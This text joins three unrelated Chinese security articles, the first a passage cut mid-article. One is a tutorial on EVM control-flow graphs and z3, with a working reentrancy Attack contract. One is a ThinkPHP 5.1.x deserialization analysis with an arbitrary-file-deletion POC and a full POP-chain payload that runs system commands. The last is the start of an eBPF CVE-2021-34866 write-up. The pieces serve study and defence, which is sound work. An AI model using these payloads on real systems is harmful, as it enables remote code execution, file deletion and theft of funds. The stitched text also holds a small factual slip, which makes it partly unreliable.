0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP
我们从第一条指令开始分析构建基本块的过程。00000地址处的指令是程序的第一条指令，根据构建基本块的第一个原则，将其作为新的基本块的第一条指令；0000b地址处是一条跳转指令，根据构建基本块的第二个原则，将其作为新的基本块的最后一条指令。这样我们就把从地址00000到0000b的代码构建成一个基本块，为了之后方便描述，把这个基本块命名为基本块1。
接下来0000c地址处的指令，我们作为新的基本块的第一条指令。0003d地址处是一条跳转指令，根据构建基本块的第二个原则，将其作为新的基本块的最后一条指令。于是从地址0000c到0003d就构成了一个新的基本块，我们把这个基本块命名为基本块2。
以此类推，我们可以遵照构建基本块的三个原则构建起所有的基本块。构建完成后的基本块如下图所示：
基本块
图中的每一个矩形是一个基本块，矩形的右半部分是为了后续描述方便而对基本块的命名(当然你也可以命名成自己喜欢的名字)。矩形的左半部分是基本块所包含的指令的起始地址和结束地址。当所有的基本块都构建完成后，我们就把之前的反编译代码转化成了11个基本块。接下来我们将构建基本块之间的边。
### 3.3 构建基本块之间的边
简单来说，基本块之间的边就是基本块之间的跳转关系。以基本块1为例，其最后一条指令是条件跳转指令，如果条件成立就跳转到基本块3，否则就跳转到基本块2。所以基本块1就存在基本块1->基本块2和基本块1->基本块3两条边。基本块6的最后一条指令是跳转指令，该指令会直接跳转到基本块8，所以基本块6就存在基本块6->基本块8这一条边。
结合反编译代码和基本块的划分，我们不难得出所有边的集合E：
{
‘基本块1’: [‘基本块2′,’基本块3’],
‘基本块2’: [‘基本块3′,’基本块4’],
‘基本块3’: [‘基本块11’],
‘基本块4’: [‘基本块5′,’基本块6’],
‘基本块5’: [‘基本块11’],
‘基本块6’: [‘基本块8’],
‘基本块7’: [‘基本块8’],
‘基本块8’: [‘基本块9′,’基本块10’],
‘基本块9’: [‘基本块11’],
‘基本块10’: [‘基本块7’]
}
我们把边的集合E用python中的dict类型表示，dict中的key是基本块，key对应的value值是一个list。还是以基本块1为例，因为基本块1存在基本块1->基本块2和基本块1->基本块3两条边，所以’基本块1’对应的list值为[‘基本块2′,’基本块3’]。
### 3.4 构建控制流图
在前两个小节中我们构建完成了基本块和边，到此构建控制流图的准备工作都已完成，接下来我们就要把基本块和边整合在一起，绘制完整的控制流图。
控制流图
上图就是完整的控制流图，从图中我们可以清晰直观的看到基本块之间的跳转关系，比如基本块1是条件跳转，根据条件是否成立跳转到不同的基本块，于是就形成了两条边。基本块2和基本块1类似也是条件跳转，也会形成两条边。基本块6是直接跳转，所以只会形成一条边。
在该控制流图中，只有一个起始块(基本块1)和一个结束块(基本块11)。当流程走到基本块11的时候，表示整个流程结束。需要指出的是，基本块11中只包含一条指令STOP。
### 3.5 总结
本章先介绍了控制流图中的基本概念，之后根据基本块的构建原则完成所有基本块的构建，接着结合反编译代码分析了基本块之间的跳转关系，画出所有的边。当所有的准备工作完成后，最后绘制出控制流图。在下一章中，我们将对构建好的控制流图，采用z3对其进行约束求解。
## 第四章 从控制流图开始约束求解
在本章中我们将使用z3对第三章中生成的控制流图进行约束求解。z3是什么，约束求解又是什么呢？下面将会给大家一一解答。
约束求解：求出能够满足所有约束条件的每个变量的值。
z3： z3是由微软公司开发的一个优秀的约束求解器，用它能求解出满足约束条件的变量的值。
从3.4节的控制流图中我们不难发现，图中用菱形表示的跳转条件左右着基本块跳转的方向。如果我们用变量表示跳转条件中的输入数据，再把变量组合成数学表达式，此时跳转条件就转变成了约束条件，之后我们借助z3对约束条件进行求解，根据求解的结果我们就能判断出基本块的跳转方向，如此一来我们就能模拟整个程序的执行。
接下来我们就从z3的基本使用开始，一步一步的完成对所有跳转条件的约束求解。
### 4.1 z3的使用
我们以z3的python实现z3py为例介绍z3是如何使用的[[3]](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)。
**4.1.1 基本用法**
from z3 import *
x = Int('x')
y = Int('y')
solve(x > 2, y < 10, x + 2*y == 7)
在上面的代码中，函数Int(‘x’)在z3中创建了一个名为x的变量，之后调用了solve函数求在三个约束条件下的解，这三个约束条件分别是x > 2, y <
10, x + 2*y == 7,运行上面的代码，输出结果为:
[y = 0, x = 7]
实际上满足约束条件的解不止一个，比如[y=1,x=5]也符合条件,但是z3在默认情况下只寻找满足约束条件的一组解,而不是找出所有解。
4.1.2 **布尔运算**
from z3 import *
p = Bool('p')
q = Bool('q')
r = Bool('r')
solve(Implies(p, q), r == Not(q), Or(Not(p), r))
上面的代码演示了z3如何求解布尔约束，代码的运行结果如下：
[q = False, p = False, r = True]
4.1.3 **位向量**
在z3中我们可以创建固定长度的位向量，比如在下面的代码中BitVec(‘x’, 16)创建了一个长度为16位，名为x的变量。
from z3 import *
x = BitVec('x', 16)
y = BitVec('y', 16)
solve(x + y > 5)
在z3中除了可以创建位向量变量之外，也可以创建位向量常量。下面代码中的BitVecVal(-1, 16)创建了一个长度为16位，值为1的位向量常量。
from z3 import *
a = BitVecVal(-1, 16)
b = BitVecVal(65535, 16)
print simplify(a == b)
**4.1.4 求解器**
from z3 import *
x = Int('x')
y = Int('y')
s = Solver()
s.add(x > 10, y == x + 2)
print s
print s.check()
在上面代码中，Solver()创建了一个通用的求解器，之后调用add()添加约束，调用check()判断是否有满足约束的解。如果有解则返回sat，如果没有则返回unsat
### 4.2 使用z3进行约束求解
对于智能合约而言，当执行到CALLDATASIZE、CALLDATALOAD等指令时，表示程序要获取外部的输入数据,此时我们用z3中的BitVec函数创建一个位向量变量来代替输入数据;当执行到LT、EQ等指令时，此时我们用z3创建一个类似If(ULE(xx,xx),
0, 1)的表达式。
4.2.1 **生成数学表达式**
接下来我们以3.2节中的基本块1为例，看看如何把智能合约的指令转换成数学表达式。
在开始转换之前，我们先来模拟下以太坊虚拟机的运行环境。我们用变量stack=[]来表示以太坊虚拟机的栈，用变量memory={}来表示以太坊虚拟机的内存，用变量storage={}来表示storage。
基本块1为例的指令码如下:
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
PUSH指令是入栈指令，执行两次入栈后，stack的值为[0x80,0x40]
MSTORE执行之后，stack为空，memory的值为{0x40:0x80}
CALLDATASIZE指令表示要获取输入数据的长度，我们使用z3中的BitVec(“Id_size”,256),生成一个长度为256位，名为Id_size的变量来表示此时输入数据的长度。
LT指令用来比较0x04和变量Id_size的大小，如果0x04小于变量Id_size则值为0，否则值为1。使用z3转换成表达式则为：If(ULE(4,
Id_size), 0, 1)
JUMPI是条件跳转指令，是否跳转到0x3e地址处取决于上一步中LT指令的结果，即表达式If(ULE(4, Id_size), 0,
1)的结果。如果结果不为0则跳转，否则不跳转，使用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1) != 0
至此，基本块1中的指令都已经使用z3转换成数学表达式。
**4.2.2 执行数学表达式**
执行上一节中生成的数学表达式的伪代码如下所示：
from z3 import *
Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0
solver = Solver()
solver.add(exp)
if solver.check() == sat:
print "jump to BasicBlock3"
else:
print "error "
在上面的代码中调用了solver的check()方法来判断此表达式是否有解，如果返回值等于sat则表示表达式有解，也就是说LT指令的结果不为0，那么接下来就可以跳转到基本块3。
观察3.4节中的控制流图我们得知，基本块1之后有两条分支，如果满足判断条件则跳转到基本块3，不满足则跳转到基本块2。但在上面的代码中，当check()方法的返回值不等于sat时，我们并没有跳转到基本块2，而是直接输出错误，这是因为当条件表达式无解时，继续向下执行没有任何意义。那么如何才能执行到基本块2呢，答案是对条件表达式取反，然后再判断取反后的表达式是否有解，如果有解则跳转到基本块2执行。伪代码如下所示：
Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0
negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)
solver = Solver()
solver.push()
solver.add(exp)
if solver.check() == sat:
print "jump to BasicBlock3"
else:
print "error"
solver.pop()
solver.push()
solver.add(negated_exp)
if solver.check() == sat:
print "falls to BasicBlock2"
else:
print "error"
在上面代码中，我们使用z3中的Not函数，对之前的条件表达式进行取反，之后调用check()方法判断取反后的条件表达式是否有解，如果有解就执行基本块2。
### 4.3 总结
本章首先介绍了z3的基本用法，之后以基本块1为例，分析了如何使用z3把指令转换成表达式，同时也分析了如何对转换后的表达式进行约束求解。在下一章中我们将会介绍如何在约束求解的过程中加入对智能合约漏洞的分析，精彩不容错过。
## 第五章 常见的智能合约漏洞以及检测方法
在本章中，我们首先会介绍智能合约中常见的漏洞，之后会分析检测这些漏洞的方法。
### 5.1 智能合约中常见的漏洞
5.1.1 **整数溢出漏洞**
我们以8位无符号整数为例分析溢出产生的原因，如下图所示，最大的8位无符号整数是255，如果此时再加1就会变为0。
整数溢出
Solidity语言支持从uint8到uint256，uint256的取值范围是0到2256-1。如果某个uint256变量的值为2256-1，那么这个变量再加1就会发生溢出，同时该变量的值变为0。
pragma solidity ^0.4.20;
contract Test {
function overflow() public pure returns (uint256 _overflow) {
uint256 max = 2**256-1;
return max + 1;
}
}
上面的合约代码中，变量max的值为2^256-1，是uint256所能表示的最大整数，如果再加1就会产生溢出，max的值变为0。
**5.1.2 重入漏洞**
当智能合约向另一个智能合约转账时，后者的fallback函数会被调用。如果fallback函数中存在恶意代码，那么恶意代码会被执行,这就是重入漏洞产生的前提。那么重入漏洞在什么情况下会发生呢，下面我们以一个存在重入漏洞的智能合约为例进行分析。
pragma solidity ^0.4.20;
contract Bank {
address owner;
mapping (address => uint256) balances;
constructor() public payable{
owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address receiver, uint256 amount) public{
require(balances[msg.sender] > amount);
require(address(this).balance > amount);
// 使用 call.value()()进行ether转币时，没有Gas限制
receiver.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceOf(address addr) public view returns (uint256) {
return balances[addr];
}
}
contract Attack {
address owner;
address victim;
constructor() public payable {
owner = msg.sender;
}
function setVictim(address target) public{
victim = target;
}
function step1(uint256 amount) public payable{
if (address(this).balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
function step2(uint256 amount) public{
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
}
// selfdestruct, send all balance to owner
function stopAttack() public{
selfdestruct(owner);
}
function startAttack(uint256 amount) public{
step1(amount);
step2(amount / 2);
}
function () public payable {
if (msg.sender == victim) {
// 再次尝试调用Bank合约的withdraw函数，递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
}
}
}
在上面的代码中，智能合约Bank是存在重入漏洞的合约，其内部的withdraw()方法使用了call方法进行转账，使用该方法转账时没有gas限制。
智能合约Attack是个恶意合约，用来对存在重入的智能合约Bank进行攻击。攻击流程如下： * Attack先给Bank转币 *
Bank在其内部的账本balances中记录Attack转币的信息 * Attack要求Bank退币 * Bank先退币再修改账本balances
问题就出在Bank是先退币再去修改账本balances。因为Bank退币的时候，会触发Attack的fallback函数，而Attack的fallback函数中会再次执行退币操作，如此递归下去，Bank没有机会进行修改账本的操作，最后导致Attack会多次收到退币。
### 5.2 漏洞的检测方法
5.2.1 **整数溢出漏洞的检测**
通过约束求解可以很容易的发现智能合约中的整数溢出漏洞，下面我们就通过一个具体的例子一步步的分析。
首先对5.1.1节中的智能合约进行反编译，得到的部分反编译代码如下：
000108: PUSH1 0x00
000110: DUP1
000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
000144: SWAP1
000145: POP
000146: PUSH1 0x01
000148: DUP2
000149: ADD
000150: SWAP2
000151: POP
000152: POP
000153: SWAP1
000154: JUMP
这段反编译后的代码对应的是智能合约中的overflow函数，第000149行的ADD指令对应的是函数中max +
1这行代码。ADD指令会把栈顶的两个值出栈，相加后把结果压入栈顶。下面我们就通过一段伪代码来演示如何检测整数溢出漏洞：
def checkOverflow():
first = stack.pop(0)
second = stack.pop(0)
first = BitVecVal(first, 256)
second = BitVecVal(second, 256)
computed = first + second
solver.add(UGT(first, computed))
if check_sat(solver) == sat:
print "have overflow"
我们先把栈顶的两个值出栈，然后使用z3中BitVecVal()函数的把这两个值转变成位向量常量，接着计算两个位向量常量相加的结果,最后构建表达式UGT(first,
computed)来判断加数是否大于相加的结果，如果该表达式有解则说明会发生整数溢出[[4]](https://github.com/melonproject/oyente)。
**5.2.2 重入漏洞的检测**
在分析重入漏洞之前，我们先来总结在智能合约中用于转账的方法： * address.transfer(amount):
当发送失败时会抛出异常，只会传递2300Gas供调用，可以防止重入漏洞
* address.send(amount): 当发送失败时会返回false，只会传递2300Gas供调用，可以防止重入漏洞
* address.gas(gas_value).call.value(amount)(): 当发送失败时会返回false，传递所有可用Gas进行调用(可通过 gas(gas_value) 进行限制)，不能有效防止重入
通过以上对比不难发现，transfer(amount)和send(amount)限制Gas最多为2300，使用这两个方法转账可以有效地防止重入漏洞。call.value(amount)()默认不限制Gas的使用，这就会很容易导致重入漏洞的产生。既然call指令是产生重入漏洞的原因所在，那么接下来我们就详细分析这条指令。
call指令有七个参数，每个参数的含义如下所示：
call(gas, address, value, in, insize, out, outsize) *
第一个参数是指定的gas限制，如果不指定该参数，默认不限制。 * 第二个参数是接收转账的地址 * 第三个参数是转账的金额 *
第四个参数是输入给call指令的数据在memory中的起始地址 * 第五个参数是输入的数据的长度 *
第六个参数是call指令输出的数据在memory中的起始地址 * 第七个参数是call指令输出的数据的长度
通过以上的分析，总结下来我们可以从以下两个维度去检测重入漏洞 * 判断call指令第一个参数的值，如果没有设置gas限制，那么就有产生重入漏洞的风险 *
检查call指令之后，是否还有其他的操作。
第二个维度中提到的call指令之后是否还有其他操作，是如何可以检测到重入漏洞的呢？接下来我们就详细分析下。在5.1.2节中的智能合约Bank是存在重入漏洞的，根本原因就是使用call指令进行转账没有设置Gas限制，同时在withdraw方法中先退币再去修改账本balances，关键代码如下：
receiver.call.value(amount)();
balances[msg.sender] -= amount;
执行call指令的时候，会触发Attack中的fallback函数，而Attack的fallback函数中会再次执行退币操作，如此递归下去，导致Bank无法执行接下来的修改账本balances的操作。此时如果我们对代码做出如下调整，先修改账本balances，之后再去调用call指令，虽然也还会触发Attack中的fallback函数，Attack的fallback函数中也还会再次执行退币操作，但是每次退币操作都是先修改账本balances，所以Attack只能得到自己之前存放在Bank中的币，重入漏洞不会发生。
balances[msg.sender] -= amount;
receiver.call.value(amount)();
## 总结
本文的第一章介绍了智能合约编译环境的搭建以及编译器的使用，第二章讲解了常用的汇编指令并且对反编译后的代码进行了逐行的分析。前两章都是基本的准备工作，从第三章开始，我们使用之前的反编译代码，构建了完整的控制流图。第四章中我们介绍了z3的用法以及如何把控制流图中的基本块中的指令用z3转换成数学表达式。第五章中我们通过整数溢出和重入漏洞的案例，详细分析了如何在约束求解的过程中检测智能合约中的漏洞。最后，希望读者在阅读本文后能有所收获，如有不足之处欢迎指正。
## 参考
9. <https://blog.csdn.net/zxhoo/article/details/81865629>
10. [http://cc.jlu.edu.cn/G2S/Template/View.aspx](http://cc.jlu.edu.cn/G2S/Template/View.aspx?courseId=644&topMenuId=131469&action=view&curfolid=135637)
11. <https://ericpony.github.io/z3py-tutorial/guide-examples.htm>
12. <https://github.com/melonproject/oyente> | 社区文章 |
**作者：Ethan@知道创宇404实验室**
**时间：2019年9月21日**
#### 前言
今年7月份，ThinkPHP
5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!
#### 环境搭建
* Thinkphp 5.1.35
* php 7.0.12
#### 漏洞挖掘思路
在刚接触反序列化漏洞的时候，更多遇到的是在魔术方法中，因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中，而在一个类的普通方法中。并且魔法函数通过属性（对象）调用了一些函数，恰巧在其他的类中有同名的函数（pop链）。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
#### 漏洞分析
首先漏洞的起点为`/thinkphp/library/think/process/pipes/Windows.php`的`__destruct()`
`__destruct()`里面调用了两个函数，我们跟进`removeFiles()`函数。
class Windows extends Pipes
{
private $files = [];
....
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
....
}
这里使用了`$this->files`，而且这里的`$files`是可控的。所以存在一个任意文件删除的漏洞。
POC可以这样构造：
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
这里只需要一个反序列化漏洞的触发点，便可以实现任意文件删除。
在`removeFiles()`中使用了`file_exists`对`$filename`进行了处理。我们进入`file_exists`函数可以知道，`$filename`会被作为字符串处理。
而`__toString` 当一个对象被反序列化后又被当做字符串使用时会被触发，我们通过传入一个对象来触发`__toString`
方法。我们全局搜索`__toString`方法。
我们跟进`\thinkphp\library\think\model\concern\Conversion.php`的Conversion类的第224行,这里调用了一个`toJson()`方法。
.....
public function __toString()
{
return $this->toJson();
}
.....
跟进`toJson()`方法
....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
....
继续跟进`toArray()`方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
.....
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
.....
我们需要在`toArray()`函数中寻找一个满足`$可控变量->方法(参数可控)`的点，首先，这里调用了一个`getRelation`方法。我们跟进`getRelation()`，它位于`Attribute`类中
....
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
....
由于`getRelation()`下面的`if`语句为`if
(!$relation)`，所以这里不用理会，返回空即可。然后调用了`getAttr`方法，我们跟进`getAttr`方法
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
......
继续跟进`getData`方法
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
通过查看`getData`函数我们可以知道`$relation`的值为`$this->data[$name]`，需要注意的一点是这里类的定义使用的是`Trait`而不是`class`。自
PHP 5.4.0 起，PHP 实现了一种代码复用的方法，称为 `trait`。通过在类中使用`use`
关键字，声明要组合的Trait名称。所以，这里类的继承要使用`use`关键字。然后我们需要找到一个子类同时继承了`Attribute`类和`Conversion`类。
我们可以在`\thinkphp\library\think\Model.php`中找到这样一个类
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
.......
我们梳理一下目前我们需要控制的变量
1. `$files`位于类`Windows`
2. `$append`位于类`Conversion`
3. `$data`位于类`Attribute`
利用链如下：
#### 代码执行点分析
我们现在缺少一个进行代码执行的点，在这个类中需要没有`visible`方法。并且最好存在`__call`方法，因为`__call`一般会存在`__call_user_func`和`__call_user_func_array`，php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在`/thinkphp/library/think/Request.php`，找到一个`__call`函数。`__call`
调用不可访问或不存在的方法时被调用。
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....
但是这里我们只能控制`$args`，所以这里很难反序列化成功，但是
`$hook`这里是可控的，所以我们可以构造一个hook数组`"visable"=>"method"`，但是`array_unshift()`向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。
在Thinkphp的Request类中还有一个功能`filter`功能，事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖`filter`的方法去执行代码。
代码位于第1456行。
....
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
.....
但这里的`$value`不可控，所以我们需要找到可以控制`$value`的点。
....
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
....
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
.....
但是input函数的参数不可控，所以我们还得继续寻找可控点。我们继续找一个调用`input`函数的地方。我们找到了`param`函数。
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里仍然是不可控的，所以我们继续找调用`param`函数的地方。找到了`isAjax`函数
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在`isAjax`函数中，我们可以控制`$this->config['var_ajax']`，`$this->config['var_ajax']`可控就意味着`param`函数中的`$name`可控。`param`函数中的`$name`可控就意味着`input`函数中的`$name`可控。
`param`函数可以获得`$_GET`数组并赋值给`$this->param`。
再回到`input`函数中
$data = $this->getData($data, $name);
`$name`的值来自于`$this->config['var_ajax']`，我们跟进`getData`函数。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
这里`$data`直接等于`$data[$val]`了
然后跟进`getFilter`函数
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
这里的`$filter`来自于`this->filter`，我们需要定义`this->filter`为函数名。
我们再来看一下`input`函数，有这么几行代码
....
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
...
这是一个回调函数，跟进`filterValue`函数。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
.......
通过分析我们可以发现`filterValue.value`的值为第一个通过`GET`请求的值，而`filters.key`为`GET`请求的键，并且`filters.filters`就等于`input.filters`的值。
我们尝试构造payload,这里需要`namespace`定义命名空间
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根，如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
首先自己构造一个利用点，别问我为什么，这个漏洞就是需要后期开发的时候有利用点，才能触发
我们把payload通过`POST`传过去，然后通过`GET`请求获取需要执行的命令
执行点如下：
利用链如下：
#### 参考文章
<https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/>
<https://xz.aliyun.com/t/3674>
<https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html>
<http://www.f4ckweb.top/index.php/archives/73/>
<https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/>
* * * | 社区文章 |
**作者：HexRabbit**
**原文链接：<https://blog.hexrabbit.io/2021/11/03/CVE-2021-34866-writeup/>**
幾天前在 Twitter 上看到 [@flatt_security](https://twitter.com/flatt_security
"@flatt_security") 分享這個漏洞，感覺蠻有趣且加上我好久沒寫文，就拿來練習一下了，沒想到時隔快一年，又挑到 Ryota Shiga
([@Ga_ryo_](https://twitter.com/ga_ryo_ "@Ga_ryo_")) 大佬發的漏洞來練習
這次是一個影響 Linux kernel v5.8 - v5.13.13 的 eBPF type confusion 漏洞
基本上這會是個相對簡短一點的文章， 如果對 eBPF 不熟的朋友們可以先去看看我的前一篇文
[ZDI-20-1440-writeup](https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/
"ZDI-20-1440-writeup")
## TL;DR
<https://github.com/HexRabbit/CVE-writeup/blob/master/CVE-2021-34886/exploit.c>
## Root cause analysis
這次沒有 blog post 可以看了，首先來看一下 [ZDI
report](https://www.zerodayinitiative.com/advisories/ZDI-21-1148/ "ZDI
report") 上面是怎麼寫的
The issue results from the lack of proper validation of user-supplied eBPF programs,
which can result in a type confusion condition.
雖然得知這是一個 type confusion 的漏洞，但這個敘述相當模糊，也不知道問題究竟是出在哪裡，所以接著我去看了修正這個漏洞的
[commit](https://github.com/torvalds/linux/commit/5b029a32cfe4600f5e10e36b41778506b90fd4de
"commit")
其中提到幾個重點:
在 `check_map_func_compatibility()`這個 function 當中，有針對 `map -> helper` 進行 type
match，但缺少部分反向的 `helper -> map type match` 由於 1. 的問題，這導致 `bpf_ringbuf_*()` 一類的
helper functions 可以接受使用者傳入其他型別的 bpf map，也就是 `BPF_MAP_TYPE_RINGBUF` 以外的 map
type，進而造成 type confusion
> 為什麼要設計成正反向各做一次 type matching 的原因我不是很清楚，由於這個設計，第一個 switch case 裡面並沒有包含所有的 map
> type，且可以注意到 default case 不會觸發 error
static int check_map_func_compatibility(struct bpf_verifier_env *env,
/* We need a two way check, first is from map perspective ... */
switch (map->map_type) {
case BPF_MAP_TYPE_RINGBUF:
if (func_id != BPF_FUNC_ringbuf_output &&
func_id != BPF_FUNC_ringbuf_reserve &&
- func_id != BPF_FUNC_ringbuf_submit &&
- func_id != BPF_FUNC_ringbuf_discard &&
func_id != BPF_FUNC_ringbuf_query)
goto error;
break;
}
/* ... and second from the function itself. */
switch (func_id) {
+ case BPF_FUNC_ringbuf_output:
+ case BPF_FUNC_ringbuf_reserve:
+ case BPF_FUNC_ringbuf_query:
+ if (map->map_type != BPF_MAP_TYPE_RINGBUF)
+ goto error;
+ break;
case BPF_FUNC_get_stackid:
if (map->map_type != BPF_MAP_TYPE_STACK_TRACE)
goto error;
...
default:
break;
}
return 0;
## Weaponize the bug
至此我們可以得知這個漏洞存在於 verifier 當中，所以觸發的方式基本上與過往的漏洞相似，要透過 bpf program
進行攻擊，但還不知道該如何利用這個看似相當強大的 type confusion，總之先看一下 `bpf_ringbuf_*()` 這些 helper
function 可以做到些什麼
`bpf_ringbuf_*()` 等相關 helper function 被定義在
[kernel/bpf/ringbuf.c](https://elixir.bootlin.com/linux/v5.13.13/source/kernel/bpf/ringbuf.c
"kernel/bpf/ringbuf.c") 當中，其透過 `BPF_CALL_*`macro 定義並讓 bpf program 可以直接透過
`BPF_CALL` 進行呼叫，此外，用來給 verfier 檢查的 argument 的型別資訊被放在 `bpf_ringbuf_*_proto`
變數當中
例如這是 `bpf_ringbuf_query` 的定義
BPF_CALL_2(bpf_ringbuf_query, struct bpf_map *, map, u64, flags)
{
struct bpf_ringbuf *rb;
rb = container_of(map, struct bpf_ringbuf_map, map)->rb;
switch (flags) {
case BPF_RB_AVAIL_DATA:
return ringbuf_avail_data_sz(rb);
case BPF_RB_RING_SIZE:
return rb->mask + 1;
case BPF_RB_CONS_POS:
return smp_load_acquire(&rb->consumer_pos);
case BPF_RB_PROD_POS:
return smp_load_acquire(&rb->producer_pos);
default:
return 0;
}
}
const struct bpf_func_proto bpf_ringbuf_query_proto = {
.func = bpf_ringbuf_query,
.ret_type = RET_INTEGER,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_ANYTHING,
};
稍微研究一下便可以對於怎麼利用這些 helper function 有個大概的輪廓:
